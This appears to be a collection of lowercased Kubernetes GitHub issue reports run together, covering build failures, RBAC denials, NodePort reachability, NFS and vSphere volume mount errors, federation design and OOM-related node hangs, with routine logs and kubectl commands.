$ ./cluster/kubectl.sh version client version: version.info{major:\ 1\ , minor:\ 4\ , gitversion:\ v1.4.3\ , gitcommit:\ 4957b090e9a4f6a68b4a40375408fdc74a212260\ , gittreestate:\ clean\ , builddate:\ 2016-10-16t06:36:33z\ , goversion:\ go1.6.3\ , compiler:\ gc\ , platform:\ linux/amd64\ }      from master node:      $ ps -ef | grep kube root       620   618  0 10:00 pts/0    00:00:00 grep kube          $ cat /var/log/kube-apiserver.log cat: /var/log/kube-apiserver.log: no such file or directory          $ cat /var/log/cloud-init.log | grep -i error $

if i  to to do a local dev release build, i don't really salt or hashed the binary like that. the following command will give error. build log also below\r \r sudo make release-skip-tests quick-release\r lots of files missing under _output/release-stage/salt/kubernetes/saltbase/salt/\r \r +++  1101 13:58:55  syncing out of container\r +++  1101 13:58:58  building tarball: salt\r +++  1101 13:58:58  building tarball: manifests\r +++  1101 13:58:58  building tarball: src\r +++  1101 13:58:58  starting tarball: client linux-amd64\r +++  1101 13:58:58  waiting on tarballs\r +++  1101 13:58:58  building tarball: server linux-amd64\r find: ‘/opt/opensource/worksplace/go/src/github.com/kubernetes/kubernetes/_output/release-stage/salt/kubernetes/saltbase/salt/kube-addons/calico-policy-controller’: no such file or directory\r find: ‘/opt/opensource/worksplace/go/src/github.com/kubernetes/kubernetes/_output/release-stage/salt/kubernetes/saltbase/salt/kube-addons/cluster-loadbalancing’: no such file or directory\r !!!  1101 13:59:06  client tarball creation failed\r +++  1101 13:59:08  starting docker build for image: kube-apiserver\r +++  1101 13:59:08  starting docker build for image: kube-controller-manager\r +++  1101 13:59:08  starting docker build for image: kube-scheduler\r +++  1101 13:59:08  starting docker build for image: kube-proxy\r +++  1101 13:59:38  deleting docker image gcr.io/google_containers/kube-controller-manager:d72909c11497279571152dc66ad8731c\r untagged: gcr.io/google_containers/kube-controller-manager:d72909c11497279571152dc66ad8731c\r deleted: sha256:537dac71aa057d1b2ecf7b175e9e07f1e6c06e63159d8e0550e9b955d66235d9\r deleted: sha256:eda0c2d27cba477b8de2b7258dbeea0065bb219b622a0d80aae7df37c3424da7\r +++  1101 13:59:42  deleting docker image gcr.io/google_containers/kube-scheduler:b69b91ef1f0f8c89db8a7ba2bfb07cad\r untagged: gcr.io/google_containers/kube-scheduler:b69b91ef1f0f8c89db8a7ba2bfb07cad\r deleted: sha256:9d801d440e208510ff9b6edda58d01c3ce600d426491c3d117a967449d8a2ad9\r deleted: sha256:2374db4e888e1c263b207afb4d7501cb5c75524499b0eda31e7f1efd7504ad44\r +++  1101 13:59:46  deleting docker image gcr.io/google_containers/kube-proxy:c577f8dfa1ea8255d99725acb42cb2aa\r untagged: gcr.io/google_containers/kube-proxy:c577f8dfa1ea8255d99725acb42cb2aa\r deleted: sha256:4586ffb82ea9c9162bd2706dcd699ebccaf8d739784ae6c434c73c0c7b7ef9d2\r deleted: sha256:20d909cd1f311f93cfd06db85a2bfe2af6221a925edc8d7854878049a486312d\r +++  1101 13:59:51  deleting docker image gcr.io/google_containers/kube-apiserver:a8865badf65c5640f58d6c6445cdc36c\r untagged: gcr.io/google_containers/kube-apiserver:a8865badf65c5640f58d6c6445cdc36c\r deleted: sha256:4d13af4ed74c145328cda30fb995d4e0d1db3f8bde2e33ce6ea16f78dac53ea8\r deleted: sha256:a0d5d75fe17e91e1fc9b113bd6497943de7c135c9157188f4f6323bc532c47a4\r +++  1101 13:59:54  docker builds done\r !!!  1101 14:00:55  previous tarball phase failed\r

the list function in the etcd implementation does not include getops  but all the other read operations do .  i believe it should, because gettolist does:\r \r https://github.com/kubernetes/kubernetes/blob/master/pkg/storage/etcd3/store.go l326\r

the build has been red for a couple of days:\r issue:  39406\r dashboard: https://k8s-testgrid.appspot.com/google-gce gce-serial\r \r many disruptive tests  e.g., cluster resize  are failing because the node controller is unable to update the node status. here are some relevant log snippets from one such failure:\r \r kube-controller-manager.log:\r    \r e0104 02:35:53.718936       5 nodecontroller.go:781  error updating node bootstrap-e2e-minion-group-9qj2: user \ system:serviceaccount:kube-system:node-controller\  cannot update nodes at the cluster scope.: \ <nil>\   put nodes bootstrap-e2e-minion-group-9qj2 \r    \r \r kube-apiserver.log:\r    \r i0104 07:24:48.026670       5 panics.go:75  put /api/v1/nodes/bootstrap-e2e-minion-group-9qj2/status:  398.63µs  403   kube-controller-manager/v1.6.0  linux/amd64  kubernetes/9eaf1aa/system:serviceaccount:kube-system:node-controller   ::1 :44058 \r i0104 07:24:48.029180       5 panics.go:75  get /api/v1/nodes/bootstrap-e2e-minion-group-9qj2:  1.887521ms  200   kube-controller-manager/v1.6.0  linux/amd64  kubernetes/9eaf1aa/system:serviceaccount:kube-system:node-controller   ::1 :44058 \r i0104 07:24:48.050468       5 rbac.go:49  rbac deny: user \ system:serviceaccount:kube-system:node-controller\  groups  system:serviceaccounts system:serviceaccounts:kube-system system:authenticated  cannot \ update\  on \ nodes./status\ \r    \r \r seems to be related to the rbac work. /cc @deads2k @dchen1107  build-cop \r \r

kubernetes supports limiting the number of pods across a node and across the entire system.\r however, a single pod can be comprised of an unlimited number of containers. \r the resources at the node level are proportional to containers and not to pods.\r many runtimes are built to run containers and so their resource consumption is tied to containers.\r in addition to runtime resource consumption, each container also occupies kernel memory which is currently not isolated.\r to further improve isolation at the node level, it will be helpful to limit the total number of containers per node similar to the number of pods. the scheduler will have to respect that limitation.\r to prevent abuse, it might be useful to introduce quota for number of containers per namespace too.\r \r cc @kubernetes/sig-node-proposals @kubernetes/sig-scheduling-proposals

filing this to converge the same discussion from multiple places.\r \r problem: today, when a resource in created in federation, it is automatically spread to all underlying clusters.\r https://github.com/kubernetes/kubernetes/issues/29887 is for restricting the clusters to which a federation resource is spread.\r \r there is also a use case to not spread the resource to underlying clusters at all  keep it in federation control plane only . ref https://github.com/kubernetes/kubernetes/issues/41673, https://github.com/kubernetes/kubernetes/issues/44283.\r \r we have 2 options:\r   use the cluster selector proposal  that is intended to restrict the clusters where federation resource is spread  to also restricting the resource to federation control plane only. this can be done by choosing a cluster label selector  federation.kubernetes.io/federation-control-plane=true . none of the clusters will have this label and hence the resource will remain in federation control plane.\r   use an explicit way  annotion for now, field later  to indicate federation-only.\r \r i think we all agree to use 1 atleast for now. once we have a more concrete path from annotation to field for our federation specific fields, we can look at this again.\r \r documenting this here to make sure everyone is on the same page.\r \r cc @kubernetes/sig-federation-feature-requests

i want to get the container info in my pod,i tried to inject data into env but failed,it tips:\r \r    spec.template.spec.containers 0 .env 0 .valuefrom.fieldref.fieldpath: invalid value: \ status.containerstatuses 0 .containerid\ : error converting fieldpath: field label not supported: status.containerstatuses 0 .containerid \r \r how to get it?

the comments of both  podstats.starttime  https://github.com/kubernetes/kubernetes/blob/a64eeb47f6ed4aa2587113793a76878b876809f9/pkg/kubelet/apis/stats/v1alpha1/types.go l83-l84  and  containerstats.starttime  https://github.com/kubernetes/kubernetes/blob/a64eeb47f6ed4aa2587113793a76878b876809f9/pkg/kubelet/apis/stats/v1alpha1/types.go l104-l105  indicate that the  starttime  is timestamp at which the stats were collected.\r \r however, we populate the fields   here  https://github.com/kubernetes/kubernetes/blob/a64eeb47f6ed4aa2587113793a76878b876809f9/pkg/kubelet/server/stats/summary.go l365  and  here  https://github.com/kubernetes/kubernetes/blob/a64eeb47f6ed4aa2587113793a76878b876809f9/pkg/kubelet/server/stats/summary.go l409   with the  container creation time  https://github.com/google/cadvisor/blob/c2f8191ba9550e302379473faf41d98759d1eff1/info/v2/container.go l69 , which is when the container created.\r \r 1. i haven't checked how the  starttime  is calculated in cadvisor, but this does not seem to incorrect - we are populating the fields with the wrong data.\r 2. if so, we should probably not populate this data at all since it's been wrong for a long time and nobody cares.\r 3. would it cause any issues if we just not set the  starttime  for both pods and containers in the summary api?\r \r  /cc @yujuhong @random-liu @dashpole @loburm @piosz

 \r \r   what happened  :\r upon deploying a workload with uses pvcs on vsphere, it takes about 4-5 minutes for each pod to be created.\r \r   what you expected to happen  :\r persistent volumes should not take as long to mount\r \r   how to reproduce it  as minimally and precisely as possible   :\r deploy a vsphere storage class, e.g.\r    \r kind: storageclass\r apiversion: storage.k8s.io/v1\r metadata:\r   name: ci-storage\r provisioner: kubernetes.io/vsphere-volume\r parameters:\r   diskformat: zeroedthick\r    \r \r deploy a statefulset workload that uses this storage class, e.g. \r    \r apiversion: apps/v1beta1\r kind: statefulset\r metadata:\r   name: sample-statefulset\r spec:\r   servicename: \ pv-ex-svc\ \r   replicas: 3\r   template:\r     metadata:\r       labels:\r         app: pv-ex\r     spec:\r       terminationgraceperiodseconds: 10\r       containers:\r       - name: pv-ex\r         image: pcfkubo/persistent-example\r         ports:\r         - containerport: 3000\r         volumemounts:\r         - name: www\r           mountpath: /usr/share/pv-ex\r         env:\r         - name: log_file\r           value: /usr/share/pv-ex/log.txt\r   updatestrategy:\r     type: rollingupdate\r   volumeclaimtemplates:\r   - metadata:\r       name: www\r     spec:\r       accessmodes:   \ readwriteonce\   \r       storageclassname: ci-storage\r       resources:\r         requests:\r           storage: 1gi\r    \r \r   anything else we need to know?  : the slowness is observed on both thick and thin provisioned storage-class definitions.\r \r   environment  :\r - kubernetes version  use  kubectl version  : 1.9.2\r - cloud provider or hardware configuration: vsphere\r - os  e.g. from /etc/os-release : ubuntu 14.04\r - kernel  e.g.  uname -a  :\r - install tools:\r - others:\r \r 

what happened  :\r i deployed a cluster using kubeadm and calico.  the command line for the cluster creation was:\r \r    \r kubeadm init --pod-network-cidr=192.168.0.0/16 --apiserver-advertise-address <private ip addr of master> --apiserver-cert-extra-sans <public ip addr of master>\r    \r \r i then followed the calico instructions and ran:\r \r    \r kubectl apply -f https://docs.projectcalico.org/v3.1/getting-started/kubernetes/installation/hosted/rbac-kdd.yaml \r kubectl apply -f https://docs.projectcalico.org/v3.1/getting-started/kubernetes/installation/hosted/kubernetes-datastore/calico-networking/1.7/calico.yaml\r    \r \r lastly i joined 4 worker to the cluster using the join command generated by the first step.\r \r i then installed the nginx controller configuring it to use nodeport.  the resulting service definition is:\r \r    \r apiversion: v1\r kind: service\r metadata:\r   creationtimestamp: 2018-10-23t23:04:23z\r   labels:\r     app: nginx-ingress\r     chart: nginx-ingress-0.29.0\r     component: controller\r     heritage: tiller\r     release: alieast-lb\r   name: alieast-lb-nginx-ingress-controller\r   namespace: default\r spec:\r   externaltrafficpolicy: local\r   ports:\r   - name: http\r     nodeport: 30400\r     port: 80\r     protocol: tcp\r     targetport: http\r   - name: https\r     nodeport: 31874\r     port: 443\r     protocol: tcp\r     targetport: https\r   selector:\r     app: nginx-ingress\r     component: controller\r     release: alieast-lb\r   sessionaffinity: none\r   type: nodeport\r    \r \r this service is only reachable on the node where the nginx controller pod is running.\r \r   what you expected to happen  :\r \r the service should be reachable via all nodes in the cluster.\r \r   how to reproduce it  as minimally and precisely as possible   :\r \r the above steps should do the trick  though any simple nodeport service + pod should do it .  you'll need at least 2 workers to confirm that only one of them provides access to the service.\r \r   anything else we need to know?  :\r \r all other communications in the cluster appear to be working as expected.  i have multiple pods deployed which communicate with each other via service names and they show no issues.  the only problem appears to be the one with nodeport.\r \r fwiw, i tried the iptables workaround described in  58908 to no avail.\r \r   environment  :\r - kubernetes version  use  kubectl version  : \r \r    \r kube@kube-master:~$ kubectl version\r client version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.1\ , gitcommit:\ 4ed3216f3ec431b140b1d899130a69fc671678f4\ , gittreestate:\ clean\ , builddate:\ 2018-10-05t16:46:06z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.1\ , gitcommit:\ 4ed3216f3ec431b140b1d899130a69fc671678f4\ , gittreestate:\ clean\ , builddate:\ 2018-10-05t16:36:14z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - cloud provider or hardware configuration:\r \r bare metal k8s running on alicloud ecs instances.\r \r - os  e.g. from /etc/os-release :\r \r name=\ ubuntu\ \r version=\ 16.04.4 lts  xenial xerus \ \r \r - kernel  e.g.  uname -a  :\r \r linux kube-master 4.4.0-117-generic  141-ubuntu smp tue mar 13 11:58:07 utc 2018 x86_64 x86_64 x86_64 gnu/linux\r \r - install tools:\r \r kubeadm\r \r    \r kubeadm version: &version.info{major:\ 1\ , minor:\ 12\ , gitversion:\ v1.12.1\ , gitcommit:\ 4ed3216f3ec431b140b1d899130a69fc671678f4\ , gittreestate:\ clean\ , builddate:\ 2018-10-05t16:43:08z\ , goversion:\ go1.10.4\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r - others:\r \r calico 3.1\r helm 2.9.1\r \r <!-- do not edit below this line -->\r /king bug

if we are to take ownership of the iam permission for k8s  so that we can update it as we add/remove permissions , we also need to give users a way to add their own permissions specific to their installation.  my current plan is to create two iam permission sets, one that k8s owns and one for the user that k8s will not alter.

kubernetes v1.1.1 bundles unreleased snapshot of https://github.com/appc/cni: https://github.com/kubernetes/kubernetes/blob/v1.1.1/godeps/godeps.json l31 which is used in https://github.com/kubernetes/kubernetes/blob/v1.1.1/pkg/kubelet/network/cni/cni.go l21  and maybe in other places .  the problem is that appc-cni have a formal release which may be more api stable or better tested than random snapshot of \ master\  which may or may not be released as is.  please have some concerns for stability and vendor released versions by tag whenever possible. thanks.

i am trying to create a kubernetes nfs volume on google container engine  gke  and get it used by a deployment.\r \r i did this in several steps as it shown in this github repository  kubernetes-nfs-volume-on-gke  https://github.com/mappedinn/kubernetes-nfs-volume-on-gke :\r \r 1. create a gke cluster and gce persistent disk\r 2. config the context for the kubectl to deal with the gke cluster\r 3. creation of the persistentvolume  pv  and the persistentvolumeclaim  pvc \r 4. creation of an nfs server\r 5. create a service for the nfs server to expose it  the ip address of that service is used for the creation of the nfs pv and nfs pvc \r 6. creation of nfs volume\r 7. create a deployment of a busybox for checking the nfs volume is accessible.\r \r after fellowing these step, this is the obtained error:\r \r     $ kubectl describe pods  nfs-busybox-2762569073-lhb5p\r     name:\t\tnfs-busybox-2762569073-lhb5p\r     namespace:\tdefault\r     node:\t\tgke-mappedinn-cluster-default-pool-f94cb0d4-fmfb/10.240.0.3\r     start time:\twed, 12 apr 2017 04:12:20 +0400\r     labels:\t\tname=nfs-busybox\r     \t\tpod-template-hash=2762569073\r     annotations:\tkubernetes.io/created-by={\ kind\ :\ serializedreference\ ,\ apiversion\ :\ v1\ ,\ reference\ :{\ kind\ :\ replicaset\ ,\ namespace\ :\ default\ ,\ name\ :\ nfs-busybox-2762569073\ ,\ uid\ :\ b1e523ae-1f14-11e7-a084-42010a8e0...\r     \t\tkubernetes.io/limit-ranger=limitranger plugin set: cpu request for container busybox\r     status:\t\tpending\r     ip:\t\t\r     controllers:\treplicaset/nfs-busybox-2762569073\r     containers:\r       busybox:\r         container id:\r         image:\t\tbusybox\r         image id:\t\t\r         port:\t\t\r         command:\r           sh\r           -c\r           while true; do date > /mnt/index.html; hostname >> /mnt/index.html; sleep $  $random % 5 + 5  ; done\r         state:\t\twaiting\r           reason:\t\tcontainercreating\r         ready:\t\tfalse\r         restart count:\t0\r         requests:\r           cpu:\t\t100m\r         environment:\t<none>\r         mounts:\r           /mnt from my-pvc-nfs  rw \r           /var/run/secrets/kubernetes.io/serviceaccount from default-token-20n4b  ro \r     conditions:\r       type\t\tstatus\r       initialized \ttrue\r       ready \tfalse\r       podscheduled \ttrue\r     volumes:\r       my-pvc-nfs:\r         type:\tpersistentvolumeclaim  a reference to a persistentvolumeclaim in the same namespace \r         claimname:\tnfs\r         readonly:\tfalse\r       default-token-20n4b:\r         type:\tsecret  a volume populated by a secret \r         secretname:\tdefault-token-20n4b\r         optional:\tfalse\r     qos class:\tburstable\r     node-selectors:\t<none>\r     tolerations:\t<none>\r     events:\r       firstseen\tlastseen\tcount\tfrom\t\t\t\t\t\t\t\tsubobjectpath\ttype\t\treason\t\tmessage\r       ---------\t--------\t-----\t----\t\t\t\t\t\t\t\t-------------\t--------\t------\t\t-------\r       5m\t\t5m\t\t1\tdefault-scheduler\t\t\t\t\t\t\t\tnormal\t\tscheduled\tsuccessfully assigned nfs-busybox-2762569073-lhb5p to gke-mappedinn-cluster-default-pool-f94cb0d4-fmfb\r       3m\t\t48s\t\t2\tkubelet, gke-mappedinn-cluster-default-pool-f94cb0d4-fmfb\t\t\twarning\t\tfailedmount\tunable to mount volumes for pod \ nfs-busybox-2762569073-lhb5p_default b1e7c901-1f14-11e7-a084-42010a8e0116 \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ nfs-busybox-2762569073-lhb5p\ . list of unattached/unmounted volumes= my-pvc-nfs \r       3m\t\t48s\t\t2\tkubelet, gke-mappedinn-cluster-default-pool-f94cb0d4-fmfb\t\t\twarning\t\tfailedsync\terror syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ default\ /\ nfs-busybox-2762569073-lhb5p\ . list of unattached/unmounted volumes= my-pvc-nfs \r       37s\t\t37s\t\t1\tkubelet, gke-mappedinn-cluster-default-pool-f94cb0d4-fmfb\t\t\twarning\t\tfailedmount\tmountvolume.setup failed for volume \ kubernetes.io/nfs/b1e7c901-1f14-11e7-a084-42010a8e0116-nfs\   spec.name: \ nfs\   pod \ b1e7c901-1f14-11e7-a084-42010a8e0116\   uid: \ b1e7c901-1f14-11e7-a084-42010a8e0116\   with: mount failed: exit status 32\r     mounting command: /home/kubernetes/bin/mounter\r     mounting arguments: 10.247.250.208:/exports /var/lib/kubelet/pods/b1e7c901-1f14-11e7-a084-42010a8e0116/volumes/kubernetes.io~nfs/nfs nfs   \r     output: running mount using a rkt fly container\r     run: group \ rkt\  not found, will use default gid when rendering images \r \r in the kubernetes dashboard, the error is as follows:\r \r   unable to mount volumes for pod \ nfs-busybox-2762569073-lhb5p_default b1e7c901-1f14-11e7-a084-42010a8e0116 \ : timeout expired waiting for volumes to attach/mount for pod \ default\ /\ nfs-busybox-2762569073-lhb5p\ . list of unattached/unmounted volumes= my-pvc-nfs   \r \r   error syncing pod, skipping: timeout expired waiting for volumes to attach/mount for pod \ default\ /\ nfs-busybox-2762569073-lhb5p\ . list of unattached/unmounted volumes= my-pvc-nfs   \r \r have i missed something?\r \r thanks,

generation and templating  and user review  both benefit from being able to describe objects on disk.  our describer implementations should probably expose a method describeobject ...  that can be invoked to display a single item of that type  with or without making api calls to the server, but probably without .

<!-- thanks for filing an issue! before hitting the button, please answer these questions.-->\r \r   what keywords did you search in kubernetes issues before filing this one?    if you have found any duplicates, you should instead reply there. : nodeport, pod, redirect\r \r ---\r \r   is this a bug report or feature request?    choose one : bug report\r \r <!--\r if this is a bug report, please:\r   - fill in as much of the template below as you can.  if you leave out\r     information, we can't help you as well.\r \r if this is a feature request, please:\r   - describe  in detail  the feature/behavior/change you'd like to see.\r \r in both cases, be ready for followup questions, and please respond in a timely\r manner.  if we can't reproduce a bug or think a feature already exists, we\r might close your issue.  if we're wrong, please feel free to reopen it and\r explain why.\r -->\r \r   kubernetes version    use  kubectl version  :\r \r    \r client version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.4\ , gitcommit:\ d6f433224538d4f9ca2f7ae19b252e6fcb66a3ae\ , gittreestate:\ clean\ , builddate:\ 2017-05-19t18:44:27z\ , goversion:\ go1.7.5\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r server version: version.info{major:\ 1\ , minor:\ 6\ , gitversion:\ v1.6.6\ , gitcommit:\ 7fa1c1756d8bc963f1a389f4a6937dc71f08ada2\ , gittreestate:\ clean\ , builddate:\ 2017-06-16t18:21:54z\ , goversion:\ go1.7.6\ , compiler:\ gc\ , platform:\ linux/amd64\ }\r    \r \r \r   environment  :\r -   cloud provider or hardware configuration  : on premise  with xen \r -   os    e.g. from /etc/os-release :\r \r    \r pretty_name=\ debian gnu/linux 8  jessie \ \r name=\ debian gnu/linux\ \r version_id=\ 8\ \r version=\ 8  jessie \ \r id=debian\r home_url=\ http://www.debian.org/\ \r support_url=\ http://www.debian.org/support\ \r bug_report_url=\ https://bugs.debian.org/\ \r    \r \r -   kernel    e.g.  uname -a  :  linux reliance-01 3.16.0-4-amd64  1 smp debian 3.16.7-ckt25-2  2016-04-08  x86_64 gnu/linux \r -   install tools  : kubeadm\r -   others  :\r \r \r   what happened  :\r we created a kubernetes service, and want to publicly access it. if you access the nodeport on any other host but the pod-host then you can't access it.\r \r \r   what you expected to happen  : that i can access it from any host.\r \r \r   how to reproduce it    as minimally and precisely as possible :\r \r deploy a service like this one:\r \r    \r apiversion: v1\r kind: service\r metadata:\r   creationtimestamp: 2017-06-21t10:47:19z\r   labels:\r     app: appname\r     tool-component: appname\r   name: appname\r   namespace: test\r spec:\r   ports:\r   - name: appname\r     port: 10002\r     protocol: tcp\r     targetport: 10002\r   selector:\r     app: appname\r     tool-component: appname\r   type: nodeport\r    \r \r \r   anything else we need to know  :\r \r  1. it's probably not the overlay network  weave , since we can use the pod's ip and internal port from any host to access it.\r  2. the pod ip is not mentioned in the ipsets of other hosts.\r  3. check the iptables rules:\r        \r      ... \r     chain weave-npc-default  1 references \r      pkts bytes target     prot opt in     out     source               destination\r     74168 6425k accept     all  --                 0.0.0.0/0            0.0.0.0/0            match-set weave-iuzcey 5dexbzgrfs8szo +@p dst\r         1    64 accept     all  --                 0.0.0.0/0            0.0.0.0/0            match-set weave-k?z;25^m}|1s7p3|h9i; ;mhg dst\r         0     0 accept     all  --                 0.0.0.0/0            0.0.0.0/0            match-set weave-4vtqmi+kx/2 jd%_c0s%tho%v dst\r      3269  196k accept     all  --                 0.0.0.0/0            0.0.0.0/0            match-set weave-1.iwr;e4~v ifd4cve8nqd0.  dst\r        \r  4. check the  ipset list :\r        \r     name: weave-local-pods\r     type: hash:ip\r     revision: 3\r     header: family inet hashsize 1024 maxelem 65536\r     size in memory: 16600\r     references: 2\r     members:\r     172.16.0.3\r     172.16.0.4\r     172.16.0.5\r     172.16.0.2\r     172.16.0.7\r \r     name: weave-iuzcey 5dexbzgrfs8szo +@p\r     type: hash:ip\r     revision: 3\r     header: family inet hashsize 1024 maxelem 65536\r     size in memory: 16536\r     references: 1\r     members:\r     172.16.0.2\r     172.16.0.3\r \r     name: weave-k?z;25^m}|1s7p3|h9i; ;mhg\r     type: hash:ip\r     revision: 3\r     header: family inet hashsize 1024 maxelem 65536\r     size in memory: 16536\r     references: 1\r     members:\r \r     name: weave-4vtqmi+kx/2 jd%_c0s%tho%v\r     type: hash:ip\r     revision: 3\r     header: family inet hashsize 1024 maxelem 65536\r     size in memory: 16504\r     references: 1\r     members:\r \r     name: weave-1.iwr;e4~v ifd4cve8nqd0. \r     type: hash:ip\r     revision: 3\r     header: family inet hashsize 1024 maxelem 65536\r     size in memory: 16552\r     references: 1\r     members:\r     172.16.0.5\r     172.16.0.7\r     172.16.0.4\r \r        \r  5. the pod has the ip: 172.16.240.2\r  6. if we add an entry to  ipset  for that ip it works:  ipset add \ weave-k?z;25^m}|1s7p3|h9i; ;mhg\  172.16.240.2

from https://k8s-gubernator.appspot.com/build/kubernetes-jenkins/logs/ci-kubernetes-e2e-gke/11888?log log. the test suite first timeouted creating cluster, and later failed on deleting cluster as well. pasted some logs below:\r    \r i0713 14:27:00.752  bringing down cluster using provider: gke\r w0713 14:27:01.259  ... in gke:kube-down  \r w0713 14:27:01.259  ... in gke:detect-project  \r i0713 14:29:06.745  done\r    \r \r it isn't obvious enough which commands failed because we tend to run commands with  --quite  flag without logging the error.\r \r 

aws govcloud\r centos 3.10.0-514.6.1.el7.x86_64\r kubernetes v1.6.7\r cni v1.10.0\r calico v2.4.1\r flannel v0.8.0\r \r a single bad behaving container could down an entire node by repeatedly triggering the oomkiller. it causes systemctl to stop responding with  failed to list units: connection timed out .\r \r kernel logs below:\r \r    \r   2672.189925  python invoked oom-killer: gfp_mask=0xd0, order=0, oom_score_adj=-998\r   2672.195927  python cpuset=b1cfb82028711b33d813aaa9a555122a1e90568375d3f47f8312cc61ce35776b mems_allowed=0\r   2672.202541  cpu: 0 pid: 5522 comm: python not tainted 3.10.0-514.6.1.el7.x86_64  1\r   2672.208454  hardware name: xen hvm domu, bios 4.2.amazon 11/11/2016\r   2672.213866   ffff88009ebf3ec0 000000000429fc16 ffff88009c3bbcc0 ffffffff816862ac\r   2672.219880   ffff88009c3bbd50 ffffffff81681257 ffff8800a05cba80 0000000000000001\r   2672.225814   0000000000000000 0000000000000000 0000000000000046 ffffffff811842a6\r   2672.231498  call trace:\r   2672.234114    <ffffffff816862ac>  dump_stack+0x19/0x1b\r   2672.238835    <ffffffff81681257>  dump_header+0x8e/0x225\r   2672.243606    <ffffffff811842a6>  ? find_lock_task_mm+0x56/0xc0\r   2672.248578    <ffffffff8118475e>  oom_kill_process+0x24e/0x3c0\r   2672.252594    <ffffffff810937ee>  ? has_capability_noaudit+0x1e/0x30\r   2672.256897    <ffffffff811f3121>  mem_cgroup_oom_synchronize+0x551/0x580\r   2672.261289    <ffffffff811f2570>  ? mem_cgroup_charge_common+0xc0/0xc0\r   2672.265140    <ffffffff81184fe4>  pagefault_out_of_memory+0x14/0x90\r   2672.268870    <ffffffff8167f047>  mm_fault_error+0x68/0x12b\r   2672.272348    <ffffffff81691fd5>  __do_page_fault+0x395/0x450\r   2672.275878    <ffffffff816920c5>  do_page_fault+0x35/0x90\r   2672.279335    <ffffffff8168e388>  page_fault+0x28/0x30\r   2672.282483  task in /kubepods/pod2a41cf01-83b6-11e7-8862-020ed2dfc90b/b1cfb82028711b33d813aaa9a555122a1e90568375d3f47f8312cc61ce35776b killed as a result of limit of /kubepods/pod2a41cf01-83b6-11e7-8862-020ed2dfc90b/b1cfb82028711b33d813aaa9a555122a1e90568375d3f47f8312cc61ce35776b\r   2672.296075  memory: usage 4194304kb, limit 4194304kb, failcnt 38020\r   2672.299913  memory+swap: usage 4194304kb, limit 8388608kb, failcnt 0\r   2672.303877  kmem: usage 6836kb, limit 9007199254740988kb, failcnt 0\r   2672.307755  memory cgroup stats for /kubepods/pod2a41cf01-83b6-11e7-8862-020ed2dfc90b/b1cfb82028711b33d813aaa9a555122a1e90568375d3f47f8312cc61ce35776b: cache:1272kb rss:4186196kb rss_huge:600064kb mapped_file:0kb swap:0kb inactive_anon:12kb active_anon:4186200kb inactive_file:636kb active_file:620kb unevictable:0kb\r   2672.323324    pid     uid  tgid total_vm      rss nr_ptes swapents oom_score_adj name\r   2672.327752    5522      0  5522  1204037  1046541    2204        0          -998 python\r   2672.332688  memory cgroup out of memory: kill process 5559  python  score 2 or sacrifice child\r   2672.337578  killed process 5522  python  total-vm:4816148kb, anon-rss:4186164kb, file-rss:0kb, shmem-rss:0kb\r   2672.616944  xfs  dm-11 : unmounting filesystem\r   2880.229070  info: task systemd:1 blocked for more than 120 seconds.\r   2880.233151  \ echo 0 > /proc/sys/kernel/hung_task_timeout_secs\  disables this message.\r   2880.237622  systemd         d ffffffff81a3d028     0     1      0 0x00000000\r   2880.242219   ffff880184cf7d70 0000000000000086 ffff880184cf8000 ffff880184cf7fd8\r   2880.246807   ffff880184cf7fd8 ffff880184cf7fd8 ffff880184cf8000 ffffffff81a3d020\r   2880.251446   ffffffff81a3d024 ffff880184cf8000 00000000ffffffff ffffffff81a3d028\r   2880.256068  call trace:\r   2880.258496    <ffffffff8168ca69>  schedule_preempt_disabled+0x29/0x70\r   2880.263694    <ffffffff8168a6c5>  __mutex_lock_slowpath+0xc5/0x1c0\r   2880.268334    <ffffffff81689b2f>  mutex_lock+0x1f/0x2f\r   2880.271824    <ffffffff811f3677>  mem_cgroup_write+0x137/0x400\r   2880.275811    <ffffffff811b10f7>  ? handle_mm_fault+0x897/0xfe0\r   2880.279704    <ffffffff811f3540>  ? memcg_update_cache_sizes+0xc0/0xc0\r   2880.283612    <ffffffff8110a86f>  cgroup_file_write+0x1bf/0x2b0\r   2880.287093    <ffffffff81200d38>  ? __sb_start_write+0x58/0x110\r   2880.291477    <ffffffff812a8cd3>  ? security_file_permission+0x23/0xa0\r   2880.295279    <ffffffff811fe27d>  vfs_write+0xbd/0x1e0\r   2880.298607    <ffffffff811fed9f>  sys_write+0x7f/0xe0\r   2880.301960    <ffffffff816968c9>  system_call_fastpath+0x16/0x1b\r   2880.305930  info: task kubelet:10743 blocked for more than 120 seconds.\r   2880.309713  \ echo 0 > /proc/sys/kernel/hung_task_timeout_secs\  disables this message.\r   2880.314544  kubelet         d ffffffff81a3d028     0 10743      1 0x00000080\r   2880.318878   ffff88019db6bd70 0000000000000082 ffff8800e9a48000 ffff88019db6bfd8\r   2880.323199   ffff88019db6bfd8 ffff88019db6bfd8 ffff8800e9a48000 ffffffff81a3d020\r   2880.327897   ffffffff81a3d024 ffff8800e9a48000 00000000ffffffff ffffffff81a3d028\r   2880.332361  call trace:\r   2880.334743    <ffffffff8168ca69>  schedule_preempt_disabled+0x29/0x70\r   2880.339852    <ffffffff8168a6c5>  __mutex_lock_slowpath+0xc5/0x1c0\r   2880.343642    <ffffffff81689b2f>  mutex_lock+0x1f/0x2f\r   2880.346981    <ffffffff811f3677>  mem_cgroup_write+0x137/0x400\r   2880.350398    <ffffffff811f3540>  ? memcg_update_cache_sizes+0xc0/0xc0\r   2880.354460    <ffffffff8110a86f>  cgroup_file_write+0x1bf/0x2b0\r   2880.358536    <ffffffff81200d38>  ? __sb_start_write+0x58/0x110\r   2880.362198    <ffffffff812a8cd3>  ? security_file_permission+0x23/0xa0\r   2880.365926    <ffffffff811fe27d>  vfs_write+0xbd/0x1e0\r   2880.369136    <ffffffff8120ec9d>  ? putname+0x3d/0x60\r   2880.372459    <ffffffff811fed9f>  sys_write+0x7f/0xe0\r   2880.375680    <ffffffff816968c9>  system_call_fastpath+0x16/0x1b\r   